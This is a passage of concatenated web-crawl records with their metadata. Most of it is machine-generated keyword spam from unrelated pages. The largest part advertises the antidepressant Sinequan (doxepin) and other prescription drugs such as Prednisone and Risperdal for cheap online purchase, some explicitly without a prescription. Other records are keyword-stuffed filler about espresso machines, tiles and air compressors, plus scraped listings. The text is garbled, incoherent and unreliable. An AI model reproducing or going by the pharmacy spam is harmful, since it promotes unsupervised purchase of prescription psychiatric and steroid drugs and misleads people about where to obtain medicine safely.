costo Sinequan 10 mg Tacchino\nin linea Doxepin hydrochloride US\nconveniente Doxepin hydrochloride Norvegia\ngenerico ou similar do Sinequan\nSconto 10 mg Sinequan Israele\nSinequan generico y alcohol\ncoste Sinequan en farmacia\nin linea Sinequan 10 mg UK\nOrdine Sinequan Stati Uniti\nse comprar Sinequan sin receta medica farmacia\nSinequan farmacias españolas\nja esta venda Sinequan generico\nSinequan si trova farmacia\nOrdine Sinequan Portogallo\nAcquistare Doxepin hydrochloride Polonia\ngenerico Sinequan Singapore\nin linea Doxepin hydrochloride Danimarca\nbasso costo Sinequan Doxepin hydrochloride Croazia\nprecio Sinequan en farmacia andorra\nprecio Sinequan españa farmacia\nPrezzo basso 10 mg Sinequan Olanda\nconveniente Doxepin hydrochloride Svizzera\ncomprare Sinequan farmacia senza ricetta\ngenerico do Sinequan online\nSinequan femenina en farmacias\nSinequan generico barcelona\nQuanto costa Sinequan Regno Unito\ngenerico do Sinequan efeitos colaterais\nAcquistare Sinequan Belgio\nSinequan precio farmacias ahorro\nprecio en farmacia Sinequan 10 mg\nSinequan sin receta en farmacias\nconveniente Sinequan 10 mg Danimarca\ndonde venden Sinequan generico mexico\nSinequan valencia farmacia\ncomprar generico Sinequan brasil\nSinequan precio en las farmacias\nPrezzo basso Sinequan 10 mg\nPrezzo basso Sinequan 10 mg UK\nAcquista 10 mg Sinequan Canada\nSinequan generico ems preço\nconveniente 10 mg Sinequan Danimarca\nSconto Doxepin hydrochloride Austria\npreco de Sinequan generico\nPrezzo 10 mg Sinequan Europa\nPrezzo Sinequan 10 mg Austria\nPrezzo 10 mg Sinequan Repubblica Ceca\nIl costo di 1 mg Risperdal In linea in Newton Falls, OH\niambadal.000webhostapp.com\nbuy Prednisone\ngeneric Silagra\ngeneric Risperdal\nO6O471X","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/xuminoticias.000webhostapp.com\/2019\/06\/dove-posso-acquistare-sinequan-in-lawnside-nj-conservare-pharmacy-cheap","date":"2019-07-22T16:08:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528141.87\/warc\/CC-MAIN-20190722154408-20190722180408-00011.warc.gz","language":"ina","language_score":0.409235239,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.40923523902893066, \"ita_Latn_score\": 0.10463075339794159, \"lat_Latn_score\": 0.06869612634181976, \"eus_Latn_score\": 0.06767020374536514, \"ile_Latn_score\": 0.04799247905611992, \"mlt_Latn_score\": 0.03457368537783623, \"nld_Latn_score\": 0.026204722002148628, \"kiu_Latn_score\": 0.024567870423197746, \"lij_Latn_score\": 0.022918054834008217, \"por_Latn_score\": 0.019907720386981964, \"vec_Latn_score\": 0.01553012989461422, \"eng_Latn_score\": 0.013853832148015499, \"slk_Latn_score\": 0.013211441226303577, \"scn_Latn_score\": 0.012453172355890274, \"srd_Latn_score\": 0.010777877643704414, \"lvs_Latn_score\": 0.010750679299235344, \"fin_Latn_score\": 0.0106092793866992}","num_words":1396,"character_repetition_ratio":0.201,"word_repetition_ratio":0.029,"special_characters_ratio":0.154,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.227,"perplexity_score":30566.3,"cluster_detection":-1} +{"text":"Valutazione 4.4 sulla base di 385 voti.\nPrezzo da €0.26 Per pillola\nA buon mercato Sinequan Doxepin hydrochloride Giappone\nconveniente 10 mg Sinequan Finlandia\nSconto Sinequan Doxepin hydrochloride Francia\nSinequan vendita svizzera\nIl costo di Sinequan Doxepin hydrochloride Israele\nA buon mercato Doxepin hydrochloride Regno Unito\nel generico de la Sinequan\nin linea Sinequan USA\nIl costo di Doxepin hydrochloride Emirati Arabi Uniti\nventa Sinequan lima farmacias\nnombre Sinequan generico mexico\nOrdine Sinequan Doxepin hydrochloride Stati Uniti\ngenerico Sinequan Doxepin hydrochloride Giappone\nSconto Doxepin hydrochloride Polonia\nacquistare Sinequan senza carta di credito\nSinequan naturale farmacia\nAcquista 10 mg Sinequan Belgio\ngenerico Doxepin hydrochloride Repubblica Ceca\nAcquistare Sinequan 10 mg Stati Uniti\nbuy Amoxil\nbuy Amoxil\nbuy Clomiphene\nPrezzo basso 10 mg Sinequan Europa\nin linea 10 mg Sinequan Repubblica Ceca\nfarmacias similares venden Sinequan\ndove acquistare Sinequan sicuro\nAcquistare Sinequan 10 mg Europa\nAcquistare 10 mg Sinequan Danimarca\ngenerico Doxepin hydrochloride Emirati Arabi Uniti\nA buon mercato 10 mg Sinequan Portogallo\nPrezzo Sinequan USA\nnombre generico de Sinequan\nSinequan generico italia\nA buon mercato Sinequan Israele\ngenerico Sinequan US\ncomprar Sinequan generico preço\nnombre generico do Sinequan\nSconto Doxepin hydrochloride Belgio\nSinequan generico italia si può avere\nPrezzo Doxepin hydrochloride Portogallo\nSinequan generico visa electron\nPrezzo basso Sinequan Repubblica Ceca\nOrdine Doxepin hydrochloride Portogallo\nesiste Sinequan generico farmacia\nesiste il farmaco generico del Sinequan\nOrdine Doxepin hydrochloride Europa\ndove acquistare Sinequan senza ricetta\nSinequan se vende sin receta farmacias\nAcquista Sinequan Doxepin hydrochloride Croazia\ngenerico Sinequan 10 mg Olanda\nprecio del Sinequan generico\nAcquista Sinequan Doxepin hydrochloride Australia\ncat costa Sinequan in farmacia\nSinequan generico online forum\nPrezzo basso Sinequan Doxepin hydrochloride Portogallo\nSconto Doxepin hydrochloride Norvegia\nSinequan generico preço\nOrdine Sinequan Doxepin hydrochloride Italia\nSinequan precio farmacia ahumada\nse comprar Sinequan farmacia sin receta medica\nacquisto Sinequan o Doxepin hydrochloride\ngenerico Sinequan 10 mg UK\nSinequan generico prezzo piu basso\ncosto del Sinequan 10 mg farmacia\nSinequan original precio farmacia\nbasso costo 10 mg Sinequan Emirati Arabi Uniti\nSinequan generico acquisto farmacia\nfarmacie online Sinequan generico\nconveniente Sinequan Doxepin hydrochloride UK\nprecio del Sinequan en farmacias del ahorro\nPrezzo basso 10 mg Sinequan Svezia\nin linea Sinequan 10 mg Singapore\nAcquistare 10 mg Sinequan Giappone\nSinequan farmacia del ahorro\nprezzo Sinequan generico farmacia\nAcquista Sinequan Inghilterra\nfarmacia italiana line Sinequan\nconveniente Sinequan Doxepin hydrochloride Israele\nAcquista Sinequan Doxepin hydrochloride Svizzera\nventa Sinequan generico mexico\nacquista Sinequan generico online\nSinequan generico pago paypal\nacquisto Sinequan in svizzera\nacquisto Sinequan forum\ncomprar Sinequan generico andorra\nprecio de Sinequan en farmacias guadalajara\ngenerico do Sinequan dejavu\nbasso costo Sinequan Francia\nbasso costo Sinequan 10 mg\ngenerico Doxepin hydrochloride Polonia\nSinequan generico como tomar\nA buon mercato 10 mg Sinequan Repubblica Ceca\nPrezzo Doxepin hydrochloride Stati Uniti\nSinequan generico en farmacias similares mexico\nOrdine Doxepin hydrochloride Tacchino\nventa de Sinequan en farmacias de chile\nOrdine Sinequan 10 mg Danimarca\nconveniente Sinequan 10 mg Francia\nSinequan one day generico\nbasso costo Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nin linea 10 mg Sinequan Singapore\nSconto 10 mg Sinequan Norvegia\nOrdine Sinequan 10 mg Norvegia\ndonde comprar Sinequan generico peru\nOrdine 10 mg Sinequan Tacchino\nAcquistare 10 mg Sinequan Spagna\nSconto Sinequan 10 mg Spagna\nSconto Sinequan Canada\nSinequan lilly prezzo in farmacia\nprezzo Sinequan farmacia\nin linea Sinequan 10 mg Austria\nSinequan farmacias cruz verde\ngenerico Sinequan alcool\ngenerico Sinequan Francia\nse comprar Sinequan generica farmacias\nQuanto costa Sinequan Doxepin hydrochloride UK\nconveniente Sinequan USA\nSinequan generico en chile\namerican soldiers Sinequan\nin linea Sinequan Doxepin hydrochloride Croazia\nprecio del Sinequan generico en mexico\nSinequan feminino generico\nbasso costo Doxepin hydrochloride Grecia\nQuanto costa Sinequan Italia\ngenerico do Sinequan da sandoz\nvendita Sinequan on line\nPrezzo basso Sinequan Doxepin hydrochloride Austria\nA buon mercato 10 mg Sinequan Francia\nel Sinequan se consigue en farmacias\nQuanto costa Sinequan Brasile\nIl costo di Sinequan Doxepin hydrochloride Brasile\nAcquistare Sinequan 10 mg Regno Unito\nAcquista Sinequan Spagna\nQuanto costa 10 mg Sinequan Repubblica Ceca\nbasso costo Doxepin hydrochloride UK\nacquisto Sinequan all'estero\ngenerico Sinequan en farmacia\nOrdine Sinequan Doxepin hydrochloride Singapore\ndove posso acquistare Sinequan online\nAcquistare Sinequan Doxepin hydrochloride Belgio\nproductos genericos Sinequan\ngenerico Sinequan bula\nA buon mercato Doxepin hydrochloride Stati Uniti\ngenerico Sinequan peru\nQuanto costa Sinequan Finlandia\nbasso costo Doxepin hydrochloride Croazia\ndove acquistare Sinequan contrassegno\ncomprar Sinequan generico goiania\ngenerico Sinequan Doxepin hydrochloride Repubblica Ceca\nPrezzo basso Sinequan 10 mg Svizzera\nIl costo di Sinequan 10 mg Spagna\ngeneric Lasix\nbuy Cyproheptadine\nwlTJrDc","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/kaonata.000webhostapp.com\/2019\/05\/affidabile-veloce-e-sicuro-dove-posso-ottenere-sinequan-10-mg-in-wisner-la-bonus-di-trasporto","date":"2019-10-21T23:19:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987795253.70\/warc\/CC-MAIN-20191021221245-20191022004745-00220.warc.gz","language":"ina","language_score":0.4708625376,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4708625376224518, \"ita_Latn_score\": 0.0961843952536583, \"lat_Latn_score\": 0.07608295232057571, \"eus_Latn_score\": 0.054914817214012146, \"ile_Latn_score\": 0.050404831767082214, \"mlt_Latn_score\": 0.029627960175275803, \"kiu_Latn_score\": 0.02365506999194622, \"lij_Latn_score\": 0.019732575863599777, \"vec_Latn_score\": 0.018240632489323616, \"nld_Latn_score\": 0.01720965839922428, \"scn_Latn_score\": 0.014548699371516705}","num_words":1617,"character_repetition_ratio":0.246,"word_repetition_ratio":0.063,"special_characters_ratio":0.148,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.283,"perplexity_score":29492.7,"cluster_detection":-1} +{"text":"super auto espresso machine schaerer ambiente 2 series super automatic espresso machines toronto canada super auto espresso machine reviews.\nsuper auto espresso machine if you have not heard of a gaggia machine before you should know a secret this brand is stellar and five star worthy known for their impressive espresso super auto espresso machine reviews.\nsuper auto espresso machine gaggia anima prestige automatic coffee machine super automatic frothing for latte macchiato cappuccino rancilio super auto espresso machine.\nsuper auto espresso machine gaggia anima deluxe la cimbali m1 super auto espresso machine.\nsuper auto espresso machine jura e8 super automatic espresso machine with pep super auto espresso machine ecam23210sb.\nsuper auto espresso machine superautomatic espresso machine certified refurbished saeco incanto plus front saecotm super auto incanto espresso machine in black.\nsuper auto espresso machine saeco xelsis superautomatic espresso machine sm768404 schaerer ambiente super auto espresso machine.\nsuper auto espresso machine super automatic espresso machine saecotm super auto incanto espresso machine in stainless steel.\nsuper auto espresso machine saeco intelia deluxe hd875947 saecotm super auto incanto espresso machine in stainless steel.\nsuper auto espresso machine saeco vienna super automatic espresso machine rancilio super auto espresso machine.\nsuper auto espresso machine saeco hd891148 incanto classic milk frother super automatic espresso machine with aquaclean filter super auto espresso machines.\nsuper auto espresso machine benefits of super automatic espresso machines super auto espresso machine reviews.\nsuper auto espresso machine aroma 5500 super automatic espresso machines super auto espresso machines.\nsuper auto espresso machine gaggia velasca prestige one touch coffee and espresso machine super auto espresso machines.\nsuper auto espresso machine saeco super auto incanto espresso machine.\nsuper auto espresso machine saeco hd892747 picobaristo super automatic espresso machine stainless steel delonghi super auto espresso machine.\nsuper auto espresso machine what is the difference between a semi and fully automatic espresso machine brownscoffeecom semi auto vs super auto espresso machine.\nsuper auto espresso machine super automatic espresso machine ea8250 rancilio super auto espresso machine.\nsuper auto espresso machine saeco incanto carafe super automatic espresso machine with aquaclean filter stainless steel hd8917 saeco super auto incanto espresso machine.\nsuper auto espresso machine super automatic espresso machine schaerer ambiente super auto espresso machine.\nsuper auto espresso machine best super automatic espresso machines home commercial super auto espresso machine reviews.\nsuper auto espresso machine and these super automatic models will do everything from grinding fresh espresso beans to frothing your cream super auto espresso machines.\nsuper auto espresso machine barista one touch cappuccino super automatic espresso machine ea901050 super auto espresso machines.\nsuper auto espresso machine saeco intelia deluxe super automatic espresso machine schaerer ambiente super auto espresso machine.\nsuper auto espresso machine faema barcode cs milkps13 super automatic espresso machine1 saeco super auto incanto espresso machine.\nsuper auto espresso machine gaggia anima prestige one touch superautomatic espresso machine saecotm super auto incanto espresso machine in black.\nsuper auto espresso machine super automatic espresso machine best super auto espresso machine.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/khardel.info\/super-auto-espresso-machine\/","date":"2019-12-10T17:09:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540528457.66\/warc\/CC-MAIN-20191210152154-20191210180154-00462.warc.gz","language":"ina","language_score":0.5596348047,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.559634804725647, \"ita_Latn_score\": 0.11944643408060074, \"por_Latn_score\": 0.0995171070098877, \"eng_Latn_score\": 0.09901119023561478, \"lat_Latn_score\": 0.034111183136701584, \"eus_Latn_score\": 0.010875837877392769}","num_words":788,"character_repetition_ratio":0.436,"word_repetition_ratio":0.255,"special_characters_ratio":0.16,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.56,"perplexity_score":8239.9,"cluster_detection":-1} +{"text":"faience de salle bain moderne 14 carrelage photo systembaseco idee leroy merlin ba.\ncarrelage idee petite salle de bain moderne idace leroy merlin frais 25,bain idee carrelage petite salle de moderne carreaux leroy merlin woole,salle bain idee carrelage de moderne leroy merlin dinspiration idace petite bathtub design black,idee carrelage salle de bain moderne leroy merlin idace petite,salle derriere idee carrelage petite de bain moderne classique idace leroy merlin,salle inspireront de idee carrelage bain moderne leroy merlin bains qui vous 101 petite photos,de inspirant idee carrelage petite salle bain moderne leroy merlin,gacnial 50 moderne de salle idee carrelage bain leroy merlin idace petite beau,carrelage de salle idee petite bain moderne couleur leroy merlin idace aclacgant,salle es id best a de idee carrelage petite bain moderne deco avec leroy merlin.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/komorniki.info\/idee-carrelage-salle-de-bain-moderne\/faience-de-salle-bain-moderne-14-carrelage-photo-systembaseco-idee-leroy-merlin-ba\/","date":"2020-01-21T10:51:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250603761.28\/warc\/CC-MAIN-20200121103642-20200121132642-00081.warc.gz","language":"ina","language_score":0.3235351145,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32353511452674866, \"fra_Latn_score\": 0.17787949740886688, \"sco_Latn_score\": 0.07014991343021393, \"gmv_Latn_score\": 0.06841334700584412, \"lim_Latn_score\": 0.05293665826320648, \"eus_Latn_score\": 0.0502433106303215, \"eng_Latn_score\": 0.024271581321954727, \"wol_Latn_score\": 0.015065307728946209, \"bon_Latn_score\": 0.012385484762489796, \"nrm_Latn_score\": 0.011728426441550255}","num_words":264,"character_repetition_ratio":0.212,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.324,"perplexity_score":8119.1,"cluster_detection":-1} +{"text":"SOLEMNIDAD DE SANTIAGO APOSTOL Solemnidad de Santiago Apostol – 10:00h. Accesos: Puerta de San Miguel y de los Palos (abiertas desde las 8:00h.) + Añadir Google Calendar + iCal exportar 00 days 00 hours 00 minutes 00 seconds juniojulio 2021agosto MOTUWETHFRSASU 2829301234Actos julio 1stSin actosActos julio 2ndSin actosActos julio 3rdSin actosActos julio 4thSin actos567891011Actos julio 5thSin actosActos julio 6thSin actosActos julio 7thSin actosActos julio 8thSin actosActos julio 9thSin actosActos julio 10thSin actosActos julio 11thSin actos12131415161718Actos julio 12thSin actosActos julio 13thSin actosActos julio 14thSin actosActos julio 15thSin actosActos julio 16thSin actosActos julio 17th 10:00FESTIVIDAD DE SANTA JUSTA Y RUFINACatedral de SevillaActos julio 18thSin actos19202122232425Actos julio 19thSin actosActos julio 20thSin actosActos julio 21stSin actosActos julio 22ndSin actosActos julio 23rdSin actosActos julio 24thSin actosActos julio 25th 10:00SOLEMNIDAD DE SANTIAGO APOSTOLCatedral de Sevilla2627282930311 Actos julio 26thSin actosActos julio 27thSin actosActos julio 28thSin actosActos julio 29thSin actosActos julio 30thSin actosActos julio 31stSin actos","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.catedraldesevilla.es\/actos\/solemnidad-de-santiago-apostol-4\/","date":"2021-07-30T13:08:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153966.60\/warc\/CC-MAIN-20210730122926-20210730152926-00312.warc.gz","language":"ina","language_score":0.4491490126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4491490125656128, \"spa_Latn_score\": 0.4123518466949463, \"lit_Latn_score\": 0.015739012509584427, \"quy_Latn_score\": 0.01476389728486538, \"ayr_Latn_score\": 0.014344966970384121}","num_words":354,"character_repetition_ratio":0.355,"word_repetition_ratio":0.614,"special_characters_ratio":0.252,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":13010.4,"cluster_detection":-1} +{"text":"Arca Vertical HOOVER HVTUS 544 WH\nArca vertical BEKO FS 166020 2 Anos de Garantia\nArca vertical BEKO FNE 1073 N 2 Anos de Garantia\nArca vertical BEKO RFNE 290L31 XBN 2 Anos de Garantia\nArca vertical BEKO RFNE 312K31 WN 2 Anos de Garantia\nArca vertical BEKO RFNE 312K31 XBN 2 Anos de Garantia\nArca vertical BEKO RFNE 312I31 WN 2 Anos de Garantia\nArca vertical BEKO RFNE 312I31 XBN 2 Anos de Garantia\nArca vertical BEKO RFNE 312E43 WN 2 Anos de Garantia\nArca vertical BEKO RFNE 312E43 XN 2 Anos de garantia\nCongelador vertical de encastre BEKO B 1901 2 Anos de garantia\nCongelação rápida 7 compartimentos independentes Classificação energética A+ Garantia 2 anos","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/aferreira.eu\/37-arcas-verticais","date":"2021-07-24T23:52:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151531.67\/warc\/CC-MAIN-20210724223025-20210725013025-00434.warc.gz","language":"ina","language_score":0.3175938129,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3175938129425049, \"por_Latn_score\": 0.14294613897800446, \"nld_Latn_score\": 0.05208325758576393, \"frp_Latn_score\": 0.03768433257937431, \"pap_Latn_score\": 0.019804036244750023, \"fin_Latn_score\": 0.014798009768128395, \"srn_Latn_score\": 0.01344407256692648, \"tah_Latn_score\": 0.013191234320402145, \"bew_Latn_score\": 0.01295267790555954, \"hun_Latn_score\": 0.012459605000913143, \"lit_Latn_score\": 0.011735419742763042, \"slk_Latn_score\": 0.01105005294084549, \"slv_Latn_score\": 0.01044644694775343, \"ast_Latn_score\": 0.010151786729693413, \"lat_Latn_score\": 0.010033974424004555}","num_words":202,"character_repetition_ratio":0.246,"word_repetition_ratio":0.295,"special_characters_ratio":0.274,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.195,"perplexity_score":12256.0,"cluster_detection":-1} +{"text":"|Keyword||CPC||PCC||Volume||Score|\n|state bar of california pro hac vice||0.42||1||3129||74|\n|state bar of california pro hac vice fee||1.05||0.1||91||21|\n|state bar of california pro hac vice program||1.68||1||9752||26|\n|california state bar pro hac vice application||1.16||0.9||7638||79|\n|california state bar pro hac vice||1.61||0.8||6667||65|\n|state bar of california pro hac||1.38||0.1||1710||100|\n|california bar association pro hac vice||0.76||1||7194||50|\n|pro hac vice california bar||0.39||0.4||7331||89|\n|state bar pro hac vice||1.03||1||2947||68|\n|california state court pro hac vice||1.07||0.4||2281||69|\n|ca bar pro hac vice||0.59||0.3||6621||3|\n|california state bar pro hac||0.49||0.5||7387||20|\n|california pro hac vice||0.03||0.2||7668||68|\n|cal bar pro hac vice||0.85||0.1||2371||3|\n|pro hac vice in california||0.77||0.7||7284||44|\n|california pro hac vice rules||1.57||0.5||5596||54|\n|pro hac vice california superior court||1.34||0.1||4058||98|\n|ca pro hac vice||1.57||0.1||3723||46|\n|pro hac vice in ca||1.79||0.3||9485||52|","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.au-e.com\/research\/state-bar-of-california-pro-hac-vice","date":"2022-12-02T08:53:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710900.9\/warc\/CC-MAIN-20221202082526-20221202112526-00152.warc.gz","language":"ina","language_score":0.3164476752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3164476752281189, \"eng_Latn_score\": 0.1310662031173706, \"lat_Latn_score\": 0.0771666020154953, \"sco_Latn_score\": 0.04367067292332649, \"dag_Latn_score\": 0.03444841504096985, \"knc_Latn_score\": 0.023272251710295677, \"som_Latn_score\": 0.023263337090611458, \"goh_Latn_score\": 0.01906021498143673, \"ile_Latn_score\": 0.01421770453453064, \"kmg_Latn_score\": 0.013878567144274712, \"ltg_Latn_score\": 0.011211714707314968, \"srd_Latn_score\": 0.011096126399934292, \"pcm_Latn_score\": 0.010973281227052212, \"eus_Latn_score\": 0.01092605572193861, \"arb_Latn_score\": 0.010408056899905205}","num_words":169,"character_repetition_ratio":0.216,"word_repetition_ratio":0.069,"special_characters_ratio":0.52,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.302,"perplexity_score":28446.8,"cluster_detection":-1} +{"text":"Connected thesaurus\n|Search for ursula le guin:||Definition||Biographical information|\n\n\nursula le guin le guin|\nursula le guin ursula guin\nursula le guin 1929\nursula le guin american\nursula le guin author\nursula le guin science\nursula le guin 1968-1972\nursula le guin 1969\nursula le guin 1971\nursula le guin 1974\nursula le guin 1985\nursula le guin always\nursula le guin coming\nursula le guin darkness\nursula le guin dispossessed\nursula le guin earthsea\nursula le guin fiction\nursula le guin hand\nursula le guin heaven\nursula le guin","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.lexfn.com\/l\/lexfn-cuff.cgi?fromshow=on&query=show&sWord=URSULA_LE_GUIN&AANA=on&AEQU=on&ABDX=on&ACOM=on&ATRG=on&ASYN=on&AANT=on&APAR=on&ABNI=on&ARHY=on&ASPC=on&ABOI=on&ABBI=on&AGEN=on&ABTR=on&ABNX=on&ABAK=on&ABOX=on&ABDI=on&ABBX=on&ASIM=on","date":"2013-05-25T09:42:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705926946\/warc\/CC-MAIN-20130516120526-00003-ip-10-60-113-184.ec2.internal.warc.gz","language":"ina","language_score":0.508529067,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5085290670394897, \"zpi_Latn_score\": 0.10361811518669128, \"ace_Latn_score\": 0.041879091411828995, \"gla_Latn_score\": 0.036578670144081116, \"zpc_Latn_score\": 0.02951168455183506, \"zpa_Latn_score\": 0.029048427939414978, \"vec_Latn_score\": 0.02529034949839115, \"ish_Latn_score\": 0.02331649884581566, \"cbk_Latn_score\": 0.023294461891055107, \"sme_Latn_score\": 0.016327906399965286, \"fra_Latn_score\": 0.014849850907921791, \"zai_Latn_score\": 0.013662884943187237, \"kto_Latn_score\": 0.01274737250059843, \"ron_Latn_score\": 0.01188012957572937, \"cuk_Latn_score\": 0.01029519084841013, \"zas_Latn_score\": 0.01010899804532528}","num_words":159,"character_repetition_ratio":0.338,"word_repetition_ratio":0.2,"special_characters_ratio":0.238,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":0.631,"perplexity_score":9326.5,"cluster_detection":-1} +{"text":"Descargar Musica de Que Tal Te Va Sin Mi\nResultados :\nEscuchar musica de que tal te va sin mi\nRaphaelQue Tal Te Vas Sin Mi05:35\nRaphaelQue Tal Te Va Sin Mi04:23\nRaphael¿Que Tal Te Va Sin Mi?05:19\nRaphael¿QUE TAL TE VA SIN MI?05:17\nJulio MorenoQue Tal Te Va Sin Mi03:58\nRaphael30 Que Tal Te Va Sin Mi05:13\nRaphaelQue Tal Te Va Sin Mi05:22\nRaphael Martos SánchezQue Tal Te Va Sin Mi04:23\nLucecita BenitezQue Tal Te Va Sin Mi05:54\nVicente FernándezQue Tal Te Va Sin Mi (Tema Remasterizado)04:32\nRaphaelQue Tal Te Va Sin Mi05:20\nRaphaelQue Tal Te Va Sin Mi05:35","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/taringamp3.com\/mp3\/que-tal-te-va-sin-mi","date":"2017-01-21T13:12:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281084.84\/warc\/CC-MAIN-20170116095121-00535-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.7934340835,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7934340834617615, \"spa_Latn_score\": 0.07389191538095474, \"lad_Latn_score\": 0.014427264221012592, \"row_Latn_score\": 0.012974405661225319}","num_words":160,"character_repetition_ratio":0.308,"word_repetition_ratio":0.252,"special_characters_ratio":0.302,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.541,"perplexity_score":27973.7,"cluster_detection":-1} +{"text":"1 De Corporation Bleu\nImages Stock\n1,481 résultats\nMur de corporation bleu d'hublotsConstruction de corporation bleueBâtiment de corporation 90Bâtiment de corporation 60Bâtiment de corporation 50Texture de corporation d'hublotsBâtiment de corporation 20Bâtiment de corporation 130Bâtiment de corporation 100Équipe de corporationÉquipe de corporationConstruction de corporation bleue dans un ciel bleuGratte-ciel de corporation dans le bleu avec des réflexionsHaute construction de corporation contre le ciel bleuGratte-ciel de corporation dans le bleu avec des réflexionsConstruction de corporationNuages de corporationConstructions de corporation à LondresConstruction de corporationConstruction de corporationConstruction de corporationCompagnie ou étoile de corporationConstruction de corporationConstruction de corporationConstruction de corporationArchitecture de corporationConstruction de corporationConstruction de corporationArchitecture de corporationGratte-ciel de corporationConstruction de corporationPasserelle de corporationGratte-ciel de corporationConstruction de corporationConstruction de corporationConstruction de corporation excessiveConstruction de corporationConstruction de corporation excessiveConstruction de corporation bleueConstruction de corporation contemporaineConstruction de corporationBuildind de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporationTour en verre - construction de corporationConstructions de corporationConstruction de corporationBuildling de corporationConstruction de corporationConstructions de corporationConstruction de corporationBuildinds de corporationConstructions de corporation3 constructions de corporationConstruction de corporationFaçade en verre - construction de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporation contemporaineBureau de corporationBuildings#3 de corporationConstruction de corporationConstructions de corporationBuildings#4 de corporationConstruction de corporationBureau de corporationConstruction de corporationConstructions de corporationConstruction de corporationImmeuble de bureaux de corporationConstructions de corporationBuildings#3 de corporationConstruction de corporationNYC : 6èmes tours de corporation en verre d'avenueConstruction de corporationDétail de corporation de construction","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/fr.dreamstime.com\/photos-images\/1-de-corporation-bleu.html","date":"2018-02-17T19:57:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891807660.32\/warc\/CC-MAIN-20180217185905-20180217205905-00290.warc.gz","language":"ina","language_score":0.4196867645,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.41968676447868347, \"fra_Latn_score\": 0.3377746641635895, \"nld_Latn_score\": 0.03125949203968048, \"dag_Latn_score\": 0.02185841090977192, \"dan_Latn_score\": 0.016600454226136208, \"frp_Latn_score\": 0.014313139952719212, \"fin_Latn_score\": 0.01279708743095398, \"swe_Latn_score\": 0.012321799993515015, \"lit_Latn_score\": 0.011947078630328178, \"lvs_Latn_score\": 0.010519024915993214}","num_words":450,"character_repetition_ratio":0.539,"word_repetition_ratio":0.252,"special_characters_ratio":0.109,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.696,"perplexity_score":11289.4,"cluster_detection":-1} +{"text":"air pro compressor image 1 trades pro gallon air compressor pro air 65 hp 80 gal compressor.\nair pro compressor charge air pro air compressor charge air pro compressor parts charge air compressor charge air charge air pro compressor parts click image to enlarge charge pro 4000 air compressor.\nair pro compressor image 1 pro air ii air compressor 3 gallon pro 4000 air compressor price.\nair pro compressor air compressor charge pro air compressor gallon parts charge air pro compressor pump charge husky pro air compressor 80 gallon manual.\nair pro compressor image 1 rand charge air pro compressor devilbiss charge air pro 5hp 20 gallon air compressor.\nair pro compressor pro air ii compressor gallon charge air pro compressor parts image 2 rand charge air pro charge air pro compressor parts highlight image charge air pro devilbiss air compressor pro.\nair pro compressor charge air pro air compressor pro air gallon compressor pro air gallon compressor pro air air compressor lot husky pro gallon air compressor charge air pro pro air ii compressor 80.\nair pro compressor liquidation of pacific west and nurseries in and city power pro air compressor parts.\nair pro compressor charge air compressor charge air pro compressor parts image 2 rand charge air pro charge air pro compressor parts air compressor view slideshow pro air pro 4000 devilbiss air compre.\nair pro compressor charge air pro compressor manual air compressor pro gallon air compressor pro air compressor pro gallon air compressor pro air compressor manual air pro 4000 air compressor 